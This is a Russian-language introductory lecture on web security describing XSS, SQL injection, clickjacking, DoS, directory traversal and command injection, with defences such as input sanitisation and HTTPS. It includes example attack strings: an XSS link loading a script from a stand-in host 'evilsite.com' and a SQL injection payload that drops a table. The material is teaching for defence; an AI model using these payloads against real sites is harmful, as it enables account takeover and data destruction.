Веб-безопасность

Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная лекция не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить своё веб-приложение против наиболее распространённых атак.

Необходимо:	Элементарная компьютерная грамотность
Цель:	Понять самые распространённые угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.

Понятие безопасности сайта.

Интернет - опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение изменённой (и часто повреждённой) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.

Цель веб-безопасности заключается в предотвращении этих (или других) видов атак. Более формальным определением веб-безопасности является: способы защиты веб-сайтов от несанкционированного доступа, использования, изменения, уничтожения или нарушения работы.

Понятие безопасности сайта.

Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента.

Современный веб-фреймворк для серверной части, почти наверняка обеспечит «по умолчанию» надёжные и продуманные механизмы защиты от ряда наиболее распространённых атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.

Безопасность сайта – комплекс мер (программных аппаратных) направленных на обеспечение корректной и устойчивой работы сайта, защиты прав пользователя и связанной с ним конфиденциальной информацией.

Угрозы безопасности сайта. Межсайтовый скриптинг (XSS)

XSS (Cross-Site Scripting - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код через веб-сайт в браузеры других пользователей. Поскольку внедрённый код поступает в браузер с сайта, он является доверенным и может выполнять такие действия, как отправка авторизационного файла cookie пользователя злоумышленнику. Когда у злоумышленника есть файл cookie, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.

Угрозы безопасности сайта. Межсайтовый скриптинг (XSS)

Уязвимости XSS делятся на отражённые и хранимые, в зависимости от того, как сайт возвращает внедрённый код в браузер.

- Отражённая XSS-уязвимость возникает, когда пользовательский контент, который передаётся на сервер, немедленно и без изменений возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: `http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>`) и переслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.

Угрозы безопасности сайта. Межсайтовый скриптинг (XSS)

- Постоянная уязвимость XSS возникает, когда вредоносный скрипт хранится на веб-сайте, а затем снова отображается без изменений, чтобы другие пользователи могли выполнять его невольно. Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учётной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам. Хотя данные из запросов POST или GET являются наиболее распространённым источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.

Угрозы безопасности сайта. Межсайтовый скриптинг (XSS)

Наилучшей защитой от уязвимостей XSS является удаление или отключение любой разметки, которая потенциально может содержать инструкции по запуску кода. Для HTML это включает такие элементы, как <script>, <object>, <embed> и <link>. Процесс изменения пользовательских данных, чтобы их нельзя было использовать для запуска сценариев или иным образом влиять на выполнение серверного кода, называется очисткой ввода. Многие веб-фреймворки автоматически очищают пользовательский ввод от HTML-форм по умолчанию.

Угрозы безопасности сайта.
SQL injection

Уязвимости SQL-инъекций позволяют злоумышленникам выполнять произвольный код SQL в базе данных, позволяя получать, изменять или удалять данные независимо от разрешений пользователя. Успешная инъекционная атака может подделать удостоверения, создать новые удостоверения с правами администратора, получить доступ ко всем данным на сервере или уничтожить / изменить данные, чтобы сделать их непригодными для использования.

Типы внедрения SQL включают внедрение SQL на основе ошибок, внедрение SQL на основе логических ошибок и внедрение SQL на основе времени.

Угрозы безопасности сайта.

SQL injection

Эта уязвимость присутствует, если пользовательский ввод, который передаётся в базовый оператор SQL, может изменить смысл оператора. Например, следующий код предназначен для перечисления всех пользователей с определённым именем (userName), которое было предоставлено из формы HTML:

```
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
```

Если пользователь указывает реальное имя, оператор будет работать так, как задумано. Однако злонамеренный пользователь может полностью изменить поведение этого оператора SQL на новый оператор в следующем примере, просто указав текст полужирным шрифтом для userName.

```
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
```

Угрозы безопасности сайта.
SQL injection

Модифицированный оператор создаёт действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе). Это работает, потому что первая часть введённого текста (a ';) завершает исходное утверждение.

Чтобы избежать такого рода атак, вы должны убедиться, что любые пользовательские данные, которые передаются в запрос SQL, не могут изменить природу запроса. Один из способов сделать это - экранировать все символы пользовательского ввода, которые имеют особое значение в SQL.

Угрозы безопасности сайта.
SQL injection

В следующей инструкции мы экранируем символ '. Теперь SQL будет интерпретировать имя как всю строку, выделенную жирным шрифтом (это действительно очень странное имя, но безопасное).

```
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';
```

Веб-фреймворки будут часто заботиться о зарезервированных символах для вас. Django, например, гарантирует, что любые пользовательские данные, передаваемые в наборы запросов (модельные запросы), будут экранируются.

Угрозы безопасности сайта.
Прочие уязвимости

Другие распространённые атаки / уязвимости включают:

Clickjacking. В этой атаке злоумышленник перехватывает клики, предназначенные для видимого сайта верхнего уровня, и направляет их на скрытую ниже страницу. Этот метод можно использовать, например, для отображения законного сайта банка, но захвата учётных данных для входа в невидимый <iframe>(Встроенный фрейм), контролируемый злоумышленником. Clickjacking также можно использовать для того, чтобы заставить пользователя нажать кнопку на видимом сайте, но при этом на самом деле невольно нажимать совершенно другую кнопку. В качестве защиты ваш сайт может предотвратить встраивание себя в iframe на другом сайте, установив соответствующие заголовки HTTP.

Denial of service (DoS). DoS обычно достигается за счёт наводнения целевого сайта поддельными запросами, так что доступ к сайту нарушается для законных пользователей. Запросы могут быть просто многочисленными или по отдельности потреблять большие объёмы ресурсов (например, медленное чтение или загрузка больших файлов). Защита от DoS обычно работает, выявляя и блокируя «плохой» трафик, пропуская при этом легитимные сообщения. Эти средства защиты обычно расположены перед веб-сервером или на нем (они не являются частью самого веб-приложения).

Угрозы безопасности сайта.
Прочие уязвимости

Directory traversal (Файл и раскрытие). В этой атаке злоумышленник пытается получить доступ к частям файловой системы веб-сервера, к которым у него не должно быть доступа. Эта уязвимость возникает, когда пользователь может передавать имена файлов, содержащие символы навигации файловой системы (например, ../../). Решение состоит в том, чтобы очищать ввод перед его использованием.

File inclusion В этой атаке пользователь может "случайно" указать файл для отображения или выполнения в данных, передаваемых на сервер. После загрузки этот файл может выполняться на веб-сервере или на стороне клиента (что приводит к XSS-атаке). Решение состоит в том, чтобы дезинфицировать ввод перед его использованием.

Command Injection Атаки с внедрением команд позволяют злоумышленнику выполнять произвольные системные команды в операционной системе хоста. Решение состоит в том, чтобы дезинфицировать вводимые пользователем данные до того, как их можно будет использовать в системных вызовах.

Полный список угроз безопасности веб-сайтов см. Category: Web security exploits (Wikipedia)Полный список угроз безопасности веб-сайтов см. Category: Web security exploits (Wikipedia) и Category: Attack (Open Web Application Security Project).

Замечания

Почти все эксплойты безопасности, описанные в предыдущих разделах, успешны, когда веб-приложение доверяет данным из браузера. Что бы вы ни делали для повышения безопасности своего веб-сайта, вы должны дезинфицировать все данные, исходящие от пользователей, прежде чем они будут отображаться в браузере, использоваться в запросах SQL или передаваться в вызов операционной системы или файловой системы.

Внимание! Самый важный урок, который вы можете извлечь о безопасности веб-сайтов: **никогда не доверяйте данным из браузера.** Это включает, помимо прочего, данные в параметрах URL-адресов запросов GET, запросов POST, заголовков HTTP и файлов cookie, а также файлов, загруженных пользователем. Всегда проверяйте и дезинфицируйте все входящие данные. Всегда предполагайте худшее!

Дополнительные действия

Вы можете предпринять ряд других конкретных шагов:

- Используйте более эффективное управление паролями. Поощряйте регулярную смену надёжных паролей. Рассмотрите возможность двухфакторной аутентификации для вашего сайта, чтобы в дополнение к паролю пользователь должен был ввести другой код аутентификации (обычно тот, который доставляется через какое-то физическое оборудование, которое будет иметь только пользователь, например, код в SMS, отправленном на его телефон).
- Настройте свой веб-сервер для использования HTTPS и HTTP Strict Transport Security(HSTS). HTTPS шифрует данные, передаваемые между вашим клиентом и сервером. Это гарантирует, что учётные данные для входа, файлы cookie, данные запросов POST и информация заголовка не будут легко доступны для злоумышленников.
- Следите за наиболее популярными угрозами (текущий список OWASP находится здесь) и в первую очередь устраняйте наиболее распространённые уязвимости.

Дополнительные действия

- Используйте инструменты сканирования уязвимостейИспользуйте инструменты сканирования уязвимостей, чтобы выполнить автоматическое тестирование безопасности на вашем сайте. Позже ваш очень успешный веб-сайт может также обнаруживать ошибки, предлагая вознаграждение за обнаружение ошибок, как это делает здесь Mozilla.
- Храните и отображайте только те данные, которые вам нужны. Например, если ваши пользователи должны хранить конфиденциальную информацию, такую как данные кредитной карты, отображайте часть номера карты только для того, чтобы он мог быть идентифицирован пользователем, и недостаточно, чтобы его мог скопировать злоумышленник и использовать на другом сайте. Самый распространённый шаблон в настоящее время - отображение только последних 4 цифр номера кредитной карты.

Веб-фреймворки могут помочь смягчить многие из наиболее распространённых уязвимостей.

Выводы

В этой презентации объясняется концепция веб-безопасности и некоторые из наиболее распространённых угроз, от которых ваш веб-сайт должен пытаться защититься. Самое главное, вы должны понимать, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы.